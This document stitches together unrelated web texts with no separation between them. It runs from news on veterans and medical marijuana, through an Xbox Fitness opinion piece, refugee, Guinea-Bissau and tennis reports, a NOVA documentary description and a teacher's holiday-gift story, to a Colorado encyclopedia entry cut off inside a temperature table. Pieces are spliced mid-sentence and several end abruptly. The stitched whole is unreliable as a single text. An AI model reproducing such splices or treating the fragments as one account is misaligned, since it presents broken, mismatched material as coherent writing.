State medical marijuana laws vary greatly. Some allow only a small number of conditions to be treated with the drug, while others like California have famously lax guidelines. The Obama administration largely tolerates state medical (and recreational) marijuana programs, despite marijuana possession for any reason outside limited research remaining a federal crime. The legislation won’t change the federal illegality of using marijuana as medicine.
In the nation's capital, local activists have been trying to turn up the heat on President Barack Obama – an admitted past marijuana user and reported member of a youthful pot-smoking “choom gang” – to reschedule or deschedule marijuana before he leaves office in January. That reform can be made without Congress and advocates believe it would fling open the doors to research and rapidly allow the development of new medicines derived from the plant.
Obama has resisted using his adminstrative authority to do so, and reformers believe it won’t happen soon if he doesn’t act, with Democrat Hillary Clinton and Republican Donald Trump having less apparent enthusiasm and little reported personal connection to the issue.
Wyatt says additional research made possible by rescheduling marijuana could allow for insurance-covered medicines put into properly dosed pills and inhalers. But in the meantime, many of his fellow veterans smoke the drug to treat without FDA approval various physical and mental health conditions.
The Weed for Warriors leader says he won’t be smoking Friday at the White House because he will be helping coordinate the event, but he says he believes most if not all other veterans will commit civil disobedience, risking arrest for use of the drug and also for laying down on the pedestrian-only section of Pennsylvania Avenue in a “die-in” featuring many empty pill bottles to make the case the prescription medications, particularly opioids, are more harmful than marijuana to injured troops.
The debate about veteran access is emotional for some former members of the military who claim the drug helped them overcome post-service challenges. T.J. Thompson, a Navy veteran who says marijuana helped him treat severe depression, said in a statement that “today is a monumental day for us vets. Congress has recognized our right to heal."
Although an overwhelming majority of Americans tell pollsters they support legal access to medical marijuana, claims about the drug's abilities to treat conditions are controversial among dissenters who say there’s little scientific proof of efficacy.
“We understand the emotional appeal, but there's no science suggesting marijuana helps mental illnesses like PTSD,” says Kevin Sabet, leader of the anti-marijuana legalization group Smart Approaches to Marijuana.
“In fact, Yale studies and others have recently shown that marijuana aggravates PTSD. A lot of the impetus from this comes from people who want to make money from promoting marijuana use,” he claims – fighting words for medical marijuana advocates. An FDA-approved study by cannabis community icon Dr. Sue Sisley on use of marijuana to treat PTSD is about to begin, following a long delay featuring various bureaucratic hoops.
Adam Eidinger, who spearheaded the successful 2014 marijuana legalization ballot initiative in the nation’s capital through the D.C. Cannabis Campaign (DCMJ), says he will be at the White House on Friday to press Obama to take action to deschedule marijuana. DCMJ hosted a large and blatantly illegal “smoke in” on April 2, at which hundreds of people protested under a marijuana haze. After no arrests were made, the group returned April 16 with an even larger marijuana seed giveaway outside Obama’s home.
“It’s not going to change my plans,” Eidinger says, noting he offered to call off the event in exchange for another meeting with White House officials. He and DCMJ co-founder Nikolas Schiller met with low-level officials from the White House Office of National Drug Control Policy after the smoke-in.
“We offered to call off this protest entirely and turn it into a thank you event for the White House if they would meet with us,” Eidinger says. “We think there should be regular meetings every month where we sit down and discuss progress,” adding the next big protest he’s planning will be at the Democratic National Convention in Philadelphia.
Some activists who have long worked to encourage lawmakers to support reform, however, were simply happy Thursday about a hard-fought win.
“Once signed, it will give VA physicians another tool in their toolbox to treat the healthcare needs of America’s veterans," says Michael Liszewski, government affairs director for the advocacy group Americans for Safe Access.
Montana Sen. Steve Daines, the Republican co-sponsor of the Senate version, said in a statement he was glad to see the House breakthrough. “Bottom-line when veterans walk into a VA facility and talk with their doctor they should be able to discuss all options available to them," he said.
Updated on May 19, 2016 : This article was updated to reflect Senate passage of the large underlying spending bill that funds military construction and veteran affairs.Xbox Fitness was a major part of the Xbox One’s launch back in 2013. Its numerous body-tracking features were instrumental in demonstrating the improved Kinect camera which shipped with the console and, for many gamers like myself who have an interest in keeping fit, it was a main motivator in making the initial Xbox One Day One purchase.
Since its launch though, Xbox Fitness was plagued with problems that ranged from a clunky user interface and an always online requirement to video buffering problems that essentially made it unusable even by those with good internet.
Over the following years, the video streaming improved (though was never completely fixed), an option to download some workouts to the Xbox One console was added, and a broader range of workouts were made available. Users continued to drop off though and in mid-2016, Microsoft announced that it would begin restricting access to Xbox Fitness’ features in stages before shutting it down completely in mid-2017.
Despite its loyal following (I personally still use Xbox Fitness daily and spent hundreds of dollars on workout downloadable content), the program was a failure for a multitude of reasons and its cancellation didn’t come as too much of a surprise. The concept was a good one though and the potential for a successful revamp of the Xbox Fitness concept in 2017 or beyond is huge. Here are five ways I think Microsoft could make Xbox Fitness 2 (or whatever it’s called) a success.
No More Streaming
Video buffering when watching a movie is annoying enough but when the buffering happens in the middle of a high-impact workout, it’s dangerous and infuriating. When Xbox Fitness launched, it wasn’t uncommon to experience buffering as often as every five minutes throughout a one hour session. The initial experience was so poor that many Xbox One owners who were interested in Xbox Fitness tried it once and never came back.
The reason for the compulsory streaming was apparently due to the contracts Microsoft signed so that they could use certain third-party workout programs in Xbox Fitness. Towards the end of its lifespan though, Xbox Fitness did introduce video downloads for most of the Xbox-produced workouts, most likely due to a new form of contract being drawn up with customer feedback in mind. While being far too late to save the platform and bring back those who had given up on it, this download option did improve usability greatly for the loyalists and hinted at a new direction for Xbox Fitness had it continued to evolve.
Any new iteration of Xbox Fitness needs to have download options for all workouts.
Bring Xbox Fitness to Windows 10
Very recently after Xbox Fitness launched, there was official word from Microsoft that they were planning to expand the program to other devices such as Windows 10 PCs and tablets. Unfortunately this never happened but the potential here is huge.
With the download option for workouts enabled and also an option to unlock in-game challenges that don’t require the use of the Xbox One’s Kinect, there’s no reason why Xbox Fitness couldn’t work on a Windows 10 device and sync progress and stats through the Xbox Live network. I travel quite a lot and I would love to keep up with my Xbox Fitness workouts while on the road. There are already a variety of competing fitness apps that offer workout videos. This is a rather big market that Microsoft could easily tap into in an easier and much more affordable way than its (seemingly) failed Microsoft Band experiment.
Less Advertising, More Personalization
For all of its stat tracking, Xbox Fitness provided a terrible experience for users trying to navigate its menus. Two thirds of the main menu were dedicated to advertising physical workout merchandise while the remaining third gave a quick play option to redo the most-previously played workout (which was a completely useless feature as most people would play the following workout in a series, not the one they just completed). There weren’t even any leaderboards, something all fitness programs have as a main feature, at launch. They were added years later.
A new Xbox Fitness needs to be all about the user. Kind of like FitBit’s dashboard. Xbox Fitness users would need to see their leaderboards as soon as they open the app (probably just their top five friends), their monthly stats prominently displayed, and their stamp card. More personalization of a user’s profile would also be a good idea. Why not add favorite workout styles (i.e. yoga, weights, etc) to a member’s card along with their rank? There are a lot of possibilities here for an improved design.
Make an Xbox Fitness Running Smartphone App
Most people who are interested in exercise go running and most of them use a smartphone and an app to track their distance and pace and to compete with friends. A running app with the Xbox Fitness brand would be very popular with users and through Xbox Live also has the potential to unlock Xbox Achievements, sync data to the main Xbox Fitness Xbox One/Windows 10 app, and more.
The Xbox One game, Shape Up, developed a similar running app for Windows Phone, iOS, and Android to help promote its release on the console. It’s kind of embarrassing that a casual fitness game such as that beat Microsoft to the punch.
Focus on Xbox Fitness Branded Workouts
After its cancellation announcement, both Xbox and Xbox Fitness support confirmed that the licence fees for streaming the workouts were the main reason for the closure of Xbox Fitness. It was just too expensive to maintain with the shrinking userbase. For any revamp of Xbox Fitness, Microsoft needs to ditch all of those third-party celebrity workouts and focus on producing more Xbox Fitness-branded programs which, if we’re being honest, were often superior than the others anyway.
It’s no secret that the Mossa workouts that were made for Xbox Fitness are extremely popular with users. Microsoft could potentially relaunch the product as a Mossa app or game and it would be a huge success. Most of the Xbox Fitness workouts were very well-made though and, possibly, much cheaper in the long-term too if Microsoft owns the rights to that content.
As it stands right now, there’s enough unique content on Xbox Fitness to stand alone without the need for any additional videos made by other companies. Microsoft should ditch the third-parties completely and focus on their own content.
Are you an Xbox Fitness user and would you like to see a reboot of the concept on Xbox One or Windows 10? Share your ideas for what you would like to see happen in the comments below.
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Further reading: MicrosoftBefore Mr. Morsi’s ouster, it was difficult to find seats on flights to Cairo from the refugee hubs in Istanbul; Beirut, Lebanon; and Amman, Jordan. After the military-backed government took power, Syrians were required, for the first time in decades, to obtain visas. Over the last two months, “based on the information available, we’ve had almost no Syrians coming in,” said Edward Leposky, a spokesman for the United Nations refugee agency. The refugees have memorized outbound flight schedules.
While thousands of refugees already settled in Egypt have been registering with the United Nations in a desperate attempt to legalize their status, an increasing number have been closing their files with the agency, including about 820 refugees in August, an indication they were intending to leave, he said.
Since most Syrian refugees are not registered, their advocates say, the numbers of people leaving are certainly much higher. “There is increasing anxiety about the insecurity here, and the poor treatment they are receiving,” Mr. Leposky said, mentioning insults and threats, incitement in the news media and calls to boycott Syrian businesses.
The anxiety hums on the outskirts of Cairo, in the suburbs spotted with luxury neighborhoods and lower- and middle-class housing projects where many Syrians found cheap apartments.
In one of the Syrian apartment buildings, Mamoun, a man from Syria’s capital, Damascus, recovered from stab wounds he received when a man attacked him on a bus after Mamoun asked people to stop smoking.
He was not sure why he was attacked: Syrians say that these days, their accent is enough to invite hostility. The man who stabbed him accused him of belonging to the Muslim Brotherhood, Mr. Morsi’s Islamist party.
When he stumbled onto the pavement, bleeding, bystanders seemed afraid to approach him, and finally directed him to a pharmacy. Mamoun, who had lived with his family in Brooklyn for a time before moving back to Syria and then to Egypt, asked to be identified by only his first name for the family’s safety.BISSAU (Reuters) - Guinea Bissau named its fifth prime minister in a year on Friday as the coup-ridden West African country struggled to end months of political gridlock.
A presidential decree named Umaro Mokhtar Sissoco Embalo - a brigadier general as well as a presidential adviser and minister in previous administrations.
President Jose Mario Vaz had to dissolve the previous government on Monday after the last prime minister, Baciro Dja, failed to win the full support of his ruling PAIGC party, an organization hit by regular infighting.
Political rivals agreed in September to a plan to ease a crisis that has prevented parliament from agreeing budgets and blocked international aid.
The six-point plan, put together with the help of regional mediators, included a preliminary agreement to form a consensus government.
The former Portuguese colony has seen nine coups or attempted coups since 1980 and become a major transit point for cocaine trafficked from South America to Europe.“When I first started, I didn’t have goals,” she explained. “I just wanted to have fun, and then I was a little bit surprised that I was having so much fun competing again.
“I was really frustrated when I first retired because it was just too much tennis, and I really didn’t want to travel any more, I didn’t want to play, I didn’t want to work out. I wanted a break. So I am really surprised at how much fun I’m having playing and being back.”
The objective now is not to be as good as she was a dozen years ago, but to be the best she can be now, to have fun doing it, and to have her daughter with her.
With steady improvement, Schnyder improved her ranking to No. 304 by the end of 2016. By Aug. 14 she was at No. 198, good enough to gain acceptance into the qualifying rounds of the U.S. Open. Three wins in qualifying earns a player a spot in the main draw. In the first round, Schnyder beat Bonaventure, 6-3, 3-6, 6-1, in front of about 200 spectators on Court 12, and noted that she could still play better. But her quest fell short on Thursday night, when Schnyder lost her second-round match against Nicole Gibbs, 6-3, 1-6, 6-4.
Comebacks do not always go smoothly; Schnyder’s was not the only one to end on Thursday. Vera Zvonareva, a finalist at Wimbledon and the U.S. Open in 2010 and a former world No. 2, in the early stages of her own return at age 32, lost a three-set clash with Jamie Loeb of the United States, 7-6 (4), 5-7, 6-4, in front of a capacity crowd on Court 13. Afterward, she broke down in tears and declined to talk about resuming her career after two years away.Documentary Description
Origins 3: Where are the Aliens?
Has the universe always existed? How did it become a place that could harbor life? What was the birth of our planet like? Are we alone, or are there alien worlds waiting to be discovered? NOVA presents some startling new answers in "Origins," a groundbreaking four-part NOVA miniseries hosted by dynamic astrophysicist Neil deGrasse Tyson, Director of the Hayden Planetarium at the American Museum of Natural History. Tyson leads viewers on a cosmic journey to the beginning of time and into the distant reaches of the universe, searching for life's first stirrings and its traces on other worlds.
The series' first hour, "Origins: Earth is Born," gives viewers a spectacular glimpse of the tumultuous first billion years of Planet Earth—a time of continuous catastrophe. Vivid animation lets viewers witness the traumatic birth of the moon from a titanic collision between Earth and an object believed to have been the size of Mars. Bombarded by meteors and comets, rocked by massive volcanic eruptions, and scoured by hot acid rain, the early Earth seems a highly improbable place for life to have taken root. Despite such violent beginnings, scientists have found new clues that life-giving water and oxygen appeared on our planet much earlier than previously thought.
Hour Two, "Origins: How Life Began," zeroes in on the mystery of exactly how it happened. Join the hunt for hardy microbes that flourish in the most unlikely places: inside rocks in a mine shaft two miles down, inside a cave dripping with acid as strong as a car battery's, and in noxious gas bubbles erupting from the Pacific ocean floor. The survival of these tough microorganisms suggests they may be related to the planet's first primitive life forms. Tyson deepens the search by investigating tantalizing and controversial chemical "signatures" of life inside three-billion-year-old rocks and meteorites found around the world.
In Hour Three, "Origins: Where are the Aliens?," Tyson explores such provocative questions as: would "ETs" resemble us or the creatures of science fiction? Are there "aliens" already amongst us on Planet Earth—brainy creatures whose intelligence is very different from our own? And are planets on which life can flourish rare or common in our universe?
Hour Four starts with a bang—the big bang in which everything began. "Origins: Back to the Beginning" explores how the colossal, mind-boggling forces of the early universe made it possible for habitable worlds to emerge. The clues begin with a race among scientists to capture lingering echoes of the big bang's ferocious energy in a microwave "whisper" from deep space. The race pits underdog astronomer Tony Readhead and his improvised detector in the high Andes against NASA scientists and their state-of-the-art satellite probe. Tyson shares his excitement with viewers as computer animation of the big bang's echo emerges on the screen. It's as close as we can get to a "photograph" of the primordial universe. Here we glimpse the seeds from which all the galaxies, stars, and planets eventually grew.
In the search for answers to the many provocative questions the program raises, Tyson catches up with one of astronomy's most exciting recent findings: the discovery of the first planets outside our own solar system. Detecting more than 100 of these planets over the last few years, astronomers have developed an ingenious technique worthy of Sherlock Holmes for deducing whether or not they might be suitable for life.
As for the ultimate question—whether we can contact an alien civilization—Tyson tells us to stay tuned, reminding us that the quest for origins has involved us in one incredible surprise after another.
Original PBS Broadcast Dates: September 28 & 29, 2004
TRANSCRIPT
NEIL deGRASSE TYSON (Astrophysicist): A hellish, fiery wasteland, a molten planet hostile to life, yet somehow, amazingly, this is where we got our start. How? How did the universe, our planet, how did we ourselves come to be? How did the first sparks of life take hold here? Are we alone in the cosmos? Where did all the stars and galaxies come from? These questions are as ancient as human curiosity itself. And on Origins, a four-part NOVA mini-series, we'll hunt for the answers. This search |
gift from phys-ed teacher Jennifer Olawski (left) at the Community Charter School in Paterson on Monday, December 18, 2017. (Photo: Steve Hockstein/Special to NorthJersey.com)
PATERSON — Eager to open their holiday presents, about 100 fourth-graders at Community Charter School of Paterson sat restlessly in their seats Monday afternoon.
Some children pulled on the colorful wrapping paper to try to peek inside. Others shook the boxes and listened for clues to the contents. They giggled and fidgeted, waiting for their teacher, Jennifer Olawski, to do the countdown.
When the time to open the gifts finally came, the youngsters erupted in delight. All of them received coloring books, winter hats and gloves and Slime Kits purchased with donations raised through a GoFundMe campaign orchestrated by Olawski.
Studentlailah Vargas opens a holiday gift she and her classmates received from phys-ed teacher Jennifer Olawski at the Community Charter School in Paterson on Monday, December 18, 2017. (Photo: Steve Hockstein/Special to NorthJersey.com)
“I love Slime,” screamed 10-year-old Divine Kirby. The jelly-like substance is a perennial favorite of children.
“This is so cool,” proclaimed his classmate, Xavier Sepulveda.
By the end of the day, all 500 students in at the school’s Spruce Street branch, which houses grades kindergarten through four, would get presents through Olawski’s efforts.
The 31-year-old educator, who grew up in Wayne and now lives in Riverdale, said she was inspired to buy all her students gifts by a conversation she had with little girl in first grade last year. Olawski said she had asked the student if she was excited about the holidays.
The child shrugged off a question about gifts, the teacher said. “I don’t get presents for Christmas,” Olawski recalled her saying.
The girl’s words jarred Olawski, and she decided to buy the child a gift. Then she thought about her other students. Almost 90 percent of the children at Community Charter come from families living below the federal poverty level, according to school officials.
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Education: Phil Murphy has big plans for education, but can he deliver?
Last year, Olawski — who has the words “Have a little faith” tattooed on her forearm — collected about $2,500 through the GoFundMe website and bought every student at her school an art set. This year, she started her online appeal right after Halloween and raised more than $4,500.
“I was surprised we got so much money,” she said.
But raising the funds was only the beginning of Olawski’s mission. Three weeks ago, with the help of family members and friends, she went on a succession of shopping trips to buy the 500 presents, which ended up filling half her living room.
Then it was time for the wrapping. People would visit Olawski a few hours at a time to pitch in to get the gifts ready for distribution. How long did it take to wrap 500 presents?
“I have no idea,” Olawski said, smiling.
Shawdon Green gives a flying hug to phys-ed teacher Jennifer Olawski, whose GoFundMe page raised money to buy a gift for every student at the Community Charter School in Paterson. (Photo: Steve Hockstein/Special to NorthJersey.com)
Finally, Olawski and two other Community Charter employees spent three hours on Sunday hauling the gifts from her second-floor apartment into a van, and then to the school.
“When I’m carrying the boxes up the stairs, I say, ‘This is it. I’m not going to do this again,' " said the teacher. “But when you see their faces, you know it’s all worthwhile. Even the toughest kids, they show emotion.”
Olawski is now taking contributions for next year on her GoFundMe page.
Olawski said her efforts are about more than just giving the children presents. “It teaches them to give to others,” she said. “It teaches them about kindness.”
Student Shawdon Green receives a holiday gift and a hug from phys-ed teacher Jennifer Olawski (left) at the Community Charter School in Paterson on Monday, December 18, 2017. (Photo: Steve Hockstein/Special to NorthJersey.com)
Read or Share this story: https://njersy.co/2AWjyg8State of the United States of America
Colorado ( (), other variants)[8][9][10] is a state of the Western United States encompassing most of the southern Rocky Mountains as well as the northeastern portion of the Colorado Plateau and the western edge of the Great Plains. It is the 8th most extensive and 21st most populous U.S. state. The estimated population of Colorado was 5,695,564 on July 1, 2018, an increase of 13.25% since the 2010 United States Census.[11]
The state was named for the Colorado River, which early Spanish explorers named the Río Colorado for the ruddy silt the river carried from the mountains. The Territory of Colorado was organized on February 28, 1861,[12] and on August 1, 1876, U.S. President Ulysses S. Grant signed Proclamation 230 admitting Colorado to the Union as the 38th state.[3] Colorado is nicknamed the "Centennial State" because it became a state one century after the signing of the United States Declaration of Independence.
Colorado is bordered by Wyoming to the north, Nebraska to the northeast, Kansas to the east, Oklahoma to the southeast, New Mexico to the south, Utah to the west, and touches Arizona to the southwest at the Four Corners. Colorado is noted for its vivid landscape of mountains, forests, high plains, mesas, canyons, plateaus, rivers and desert lands. Colorado is part of the western and southwestern United States, and is one of the Mountain States.
Denver is the capital and most populous city of Colorado. Residents of the state are known as Coloradans, although the antiquated term "Coloradoan" is occasionally used.[13][14]
Colorado has a strong western identity and is more socially liberal than neighboring states. Same-sex marriage in Colorado has been legal since 2014, and it was the first state in the U.S. to legalize recreational cannabis, and one of the first jurisdictions on Earth to do so by popular referendum. The state is known for permissive views on abortion and assisted suicide; Coloradans rejected a 2008 referendum that would have criminalized abortion, and approved a measure in 2016 that legalized assisted suicide in the state, and remains one of six states (along with the District of Columbia) to have legalized assisted suicide. Colorado became the first U.S. state to elect an openly gay governor, Jared Polis, in the 2018 gubernatorial election.
Geography [ edit ]
Colorado is notable for its diverse geography, which includes alpine mountains, high plains, deserts with huge sand dunes, and deep canyons. In 1861, the United States Congress defined the boundaries of the new Territory of Colorado exclusively by lines of latitude and longitude, stretching from 37°N to 41°N latitude, and from 102°02'48"W to 109°02'48"W longitude (25°W to 32°W from the Washington Meridian).[12] After 157 years of government surveys, the borders of Colorado are now officially defined by 697 boundary markers and 697 straight boundary lines.[15] Colorado, Wyoming and Utah are the only states that have their borders defined solely by straight boundary lines with no natural features.[16] The southwest corner of Colorado is the Four Corners Monument at 36°59'56"N, 109°2'43"W.[17][18] This is the only place in the United States where four states meet: Colorado, New Mexico, Arizona, and Utah.[16]
Mountains [ edit ]
The summit of Mount Elbert at 14,440 feet (4,401.2 m) elevation in Lake County is the highest point in Colorado and the Rocky Mountains of North America.[4] Colorado is the only U.S. state that lies entirely above 1,000 meters elevation. The point where the Arikaree River flows out of Yuma County, Colorado, and into Cheyenne County, Kansas, is the lowest point in Colorado at 3,317 feet (1,011 m) elevation. This point, which holds the distinction of being the highest low elevation point of any state,[5][19] is higher than the high elevation points of 18 states and the District of Columbia.
A view of the arid high plains in Southeastern Colorado
Plains [ edit ]
A little less than half of Colorado is flat and rolling land. East of the Rocky Mountains are the Colorado Eastern Plains of the High Plains, the section of the Great Plains within Nebraska at elevations ranging from roughly 3,350 to 7,500 feet (1,020 to 2,290 m).[20] The Colorado plains are mostly prairies but also include deciduous forests, buttes, and canyons. Precipitation averages 15 to 25 inches (380 to 640 mm) annually.[21]
Eastern Colorado is presently mainly farmland and rangeland, along with small farming villages and towns. Corn, wheat, hay, soybeans, and oats are all typical crops. Most villages and towns in this region boast both a water tower and a grain elevator. Irrigation water is available from both surface and subterranean sources. Surface water sources include the South Platte, the Arkansas River, and a few other streams. Subterranean water is generally accessed through artesian wells. Heavy use of wells for irrigation caused underground water reserves to decline. Eastern Colorado hosts considerable livestock, such as cattle ranches and hog farms.
Front Range [ edit ]
Roughly 70% of Colorado's population resides along the eastern edge of the Rocky Mountains in the Front Range Urban Corridor between Cheyenne, Wyoming, and Pueblo, Colorado. This region is partially protected from prevailing storms that blow in from the Pacific Ocean region by the high Rockies in the middle of Colorado. The "Front Range" includes Denver, Boulder, Fort Collins, Loveland, Castle Rock, Colorado Springs, Pueblo, Greeley, and other townships and municipalities in between. On the other side of the Rockies, the significant population centers in Western Colorado (which is not considered the "Front Range") are the cities of Grand Junction, Durango, and Montrose.
Continental Divide [ edit ]
The Continental Divide of the Americas extends along the crest of the Rocky Mountains. The area of Colorado to the west of the Continental Divide is called the Western Slope of Colorado. West of the Continental Divide, water flows to the southwest via the Colorado River and the Green River into the Gulf of California.
Within the interior of the Rocky Mountains are several large parks which are high broad basins. In the north, on the east side of the Continental Divide is the North Park of Colorado. The North Park is drained by the North Platte River, which flows north into Wyoming and Nebraska. Just to the south of North Park, but on the western side of the Continental Divide, is the Middle Park of Colorado, which is drained by the Colorado River. The South Park of Colorado is the region of the headwaters of the South Platte River.
Southern region [ edit ]
In southmost Colorado is the large San Luis Valley, where the headwaters of the Rio Grande are located. The valley sits between the Sangre De Cristo Mountains and San Juan Mountains, and consists of large desert lands that eventually run into the mountains. The Rio Grande drains due south into New Mexico, Mexico, and Texas. Across the Sangre de Cristo Range to the east of the San Luis Valley lies the Wet Mountain Valley. These basins, particularly the San Luis Valley, lie along the Rio Grande Rift, a major geological formation of the Rocky Mountains, and its branches.
The high desert lands that make up the San Luis Valley in Southern Colorado
Peaks [ edit ]
To the west of the Great Plains of Colorado rises the eastern slope of the Rocky Mountains. Notable peaks of the Rocky Mountains include Longs Peak, Mount Evans, Pikes Peak, and the Spanish Peaks near Walsenburg, in southern Colorado. This area drains to the east and the southeast, ultimately either via the Mississippi River or the Rio Grande into the Gulf of Mexico.
The Rocky Mountains within Colorado contain 53 peaks that are 14,000 feet (4,267 m) or higher in elevation above sea level, known as fourteeners.[22] These mountains are largely covered with trees such as conifers and aspens up to the tree line, at an elevation of about 12,000 feet (3,658 m) in southern Colorado to about 10,500 feet (3,200 m) in northern Colorado. Above this only alpine vegetation grows. Only small parts of the Colorado Rockies are snow-covered year round.
Much of the alpine snow melts by mid-August with the exception of a few snowcapped peaks and a few small glaciers. The Colorado Mineral Belt, stretching from the San Juan Mountains in the southwest to Boulder and Central City on the front range, contains most of the historic gold- and silver-mining districts of Colorado. Mount Elbert is the highest summit of the Rocky Mountains. The 30 highest major summits of the Rocky Mountains of North America all lie within the state.
Sandstone cliffs along the Colorado River north of Wolcott
Colorado Western Slope [ edit ]
The Grand Valley in Western Colorado, a large valley made up of high desert terrain. The city of Grand Junction is located in the heart of the valley
The Western Slope area of Colorado includes the western face of the Rocky Mountains and all of the state to the western border. This area includes several terrains and climates from alpine mountains to arid deserts. The Western Slope includes many ski resort towns in the Rocky Mountains and towns west of the mountains. It is less populous than the Front Range but includes a large number of national parks and monuments.
From west to east, the land of Colorado consists of desert lands, desert plateaus, alpine mountains, National Forests, relatively flat grasslands, scattered forests, buttes, and canyons in the western edge of the Great Plains. The famous Pikes Peak is located just west of Colorado Springs. Its isolated peak is visible from nearly the Kansas border on clear days, and also far to the north and the south.[23] The northwestern corner of Colorado is a sparsely populated region, and it contains part of the noted Dinosaur National Monument, which is not only a paleontological area, but is also a scenic area of rocky hills, canyons, arid desert, and streambeds. Here, the Green River briefly crosses over into Colorado. Desert lands in Colorado are located in and around areas such as the Pueblo, Canon City, Florence, Great Sand Dunes National Park and Preserve, San Luis Valley, Cortez, Canyon of the Ancients National Monument, Hovenweep National Monument, Ute Mountain, Delta, Grand Junction, Colorado National Monument, and other areas surrounding the Uncompahgre Plateau and Uncompahgre National Forest.
The Western Slope of Colorado is drained by the Colorado River and its tributaries (primarily the Gunnison River, Green River, and the San Juan River), or by evaporation in its arid areas. The Colorado River flows through Glenwood Canyon, and then through an arid valley made up of desert from Rifle to Parachute, through the desert canyon of De Beque Canyon, and into the arid desert of Grand Valley, where the city of Grand Junction is located. Also prominent in or near the southern portion of the Western Slope are the Grand Mesa, which lies to the southeast of Grand Junction; the high San Juan Mountains, a rugged mountain range; and to the west of the San Juan Mountains, the Colorado Plateau, a high arid region that borders Southern Utah.
The Colorado National Monument near Grand Junction. The monument is made up of high desert canyons and sandstone rock formations.
Grand Junction, Colorado is the largest city on the Western Slope. Grand Junction and Durango are the only major centers of television broadcasting west of the Continental Divide in Colorado, though most mountain resort communities publish daily newspapers. Grand Junction is located along Interstate 70, the only major highway in Western Colorado. Grand Junction is also along the major railroad of the Western Slope, the Union Pacific. This railroad also provides the tracks for Amtrak's California Zephyr passenger train, which crosses the Rocky Mountains between Denver and Grand Junction via a route on which there are no continuous highways.
The Western Slope includes multiple notable destinations in the Colorado Rocky Mountains, including Glenwood Springs, with its resort hot springs, and the ski resorts of Aspen, Breckenridge, Vail, Crested Butte, Steamboat Springs, and Telluride.
Higher education in and near the Western Slope can be found at Colorado Mesa University in Grand Junction, Western Colorado University in Gunnison, Fort Lewis College in Durango, and Colorado Mountain College in Glenwood Springs and Steamboat Springs.
The Four Corners Monument in the southwest corner of Colorado marks the common boundary of Colorado, New Mexico, Arizona, and Utah; the only such place in the United States.
Climate [ edit ]
The climate of Colorado is more complex than states outside of the Mountain States region. Unlike most other states, southern Colorado is not always warmer than northern Colorado. Most of Colorado is made up of mountains, foothills, high plains, and desert lands. Mountains and surrounding valleys greatly affect local climate.
As a general rule, with an increase in elevation comes a decrease in temperature and an increase in precipitation. Northeast, east, and southeast Colorado are mostly the high plains, while Northern Colorado is a mix of high plains, foothills, and mountains. Northwest and west Colorado are predominantly mountainous, with some desert lands mixed in. Southwest and southern Colorado are a complex mixture of desert and mountain areas.
Eastern Plains [ edit ]
The climate of the Eastern Plains is semiarid (Köppen climate classification: BSk) with low humidity and moderate precipitation, usually from 15 to 25 inches (380 to 640 millimeters) annually. The area is known for its abundant sunshine and cool, clear nights, which give this area a great average diurnal temperature range. The difference between the highs of the days and the lows of the nights can be considerable as warmth dissipates to space during clear nights, the heat radiation not being trapped by clouds. The Front Range urban corridor, where most of the population of Colorado resides, lies in a pronounced precipitation shadow as a result of being on the lee side of the Rocky Mountains.[24]
In summer, this area can have many days above 95 °F (35 °C) and often 100 °F (38 °C).[25] On the plains, the winter lows usually range from 25 to −10 °F (−4 to −23 °C). About 75% of the precipitation falls within the growing season, from April to September, but this area is very prone to droughts. Most of the precipitation comes from thunderstorms, which can be severe, and from major snowstorms that occur in the winter and early spring. Otherwise, winters tend to be mostly dry and cold.[26]
In much of the region, March is the snowiest month. April and May are normally the rainiest months, while April is the wettest month overall. The Front Range cities closer to the mountains tend to be warmer in the winter due to Chinook winds which warm the area, sometimes bringing temperatures of 70 °F (21 °C) or higher in the winter.[26] The average July temperature is 55 °F (13 °C) in the morning and 90 °F (32 °C) in the afternoon. The average January temperature is 18 °F (−8 °C) in the morning and 48 °F (9 °C) in the afternoon, although variation between consecutive days can be 40 °F (20 °C).
Just west of the plains and into the foothills, there are a wide variety of climate types. Locations merely a few miles apart can experience entirely different weather depending on the topography. Most valleys have a semi-arid climate not unlike the eastern plains, which transitions to an alpine climate at the highest elevations. Microclimates also exist in local areas that run nearly the entire spectrum of climates, including subtropical highland (Cfb/Cwb), humid subtropical (Cfa), humid continental (Dfa/Dfb), Mediterranean (Csa/Csb) and subarctic (Dfc).[27]
Extreme weather [ edit ]
Snow highlights the rugged mountains, as well as the urban and agricultural landscapes of the Colorado plains.
Extreme weather changes are common in Colorado, although the majority of extreme weather occurs in the least populated areas of the state. Thunderstorms are common east of the Continental Divide in the spring and summer, yet are usually brief. Hail is a common sight in the mountains east of the divide and in the northeast part of the state. The Eastern Plains have had some of the biggest hail storms in North America.[21] Notable examples are the severe hailstorms that hit Denver on July 11, 1990[28] and May 8, 2017, the latter being the costliest ever in the state.[29]
The Eastern Plains are part of the extreme western portion of Tornado Alley; some damaging tornadoes in the Eastern Plains include the 1990 Limon F3 tornado and the 2008 Windsor EF3 tornado, which devastated the small town.[30] The plains are also susceptible to occasional floods, which are caused both by thunderstorms and by the rapid melting of snow in the mountains during warm weather. Notable examples include the 1965 Denver Flood,[31] the Big Thompson River flooding of 1976 and the 2013 Colorado floods. Hot weather is common during summers in Denver. The city's record in 1901 for the number of consecutive days above 90 °F (32 °C) was broken during the summer of 2008. The new record of 24 consecutive days surpassed the previous record by almost a week.[32]
Much of Colorado is a very dry state averaging only 17 inches (430 millimeters) of precipitation per year statewide and rarely experiences a time when some portion of the state is not in some degree of drought.[33] The lack of precipitation contributes to the severity of wildfires in the state, such as the Hayman Fire of 2002, one of the largest wildfires in American history, and the Fourmile Canyon Fire of 2010, which until the Waldo Canyon Fire and High Park Fire of June 2012, and the Black Forest Fire of June 2013, was the most destructive wildfire in Colorado's recorded history.
The Yampa River, from a high overlook
However, some of the mountainous regions of Colorado receive a huge amount of moisture from winter snowfalls. The spring melts of these snows often cause great waterflows in the Yampa River, the Colorado River, the Rio Grande, the Arkansas River, the North Platte River, and the South Platte River.
Water flowing out of the Colorado Rocky Mountains is a very significant source of water for the farms, towns, and cities of the southwest states of New Mexico, Arizona, Utah, and Nevada, as well as the Midwest, such as Nebraska and Kansas, and the southern states of Oklahoma and Texas. A significant amount of water is also diverted for use in California; occasionally (formerly naturally and consistently), the flow of water reaches northern Mexico.
Records [ edit ]
The highest ambient air temperature ever recorded in Colorado was 118 °F (48 °C) on July 11, 1888, at Bennett. The lowest air temperature was −61 °F (−52 °C) on February 1, 1985, at Maybell.[34][35]
Monthly normal high and low temperatures for various Colorado cities[36] (°F) (°C) City Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec Alamosa 34/−2
2/−19 40/6
4/−14 50/17
10/−8 59/24
15/−4 69/33
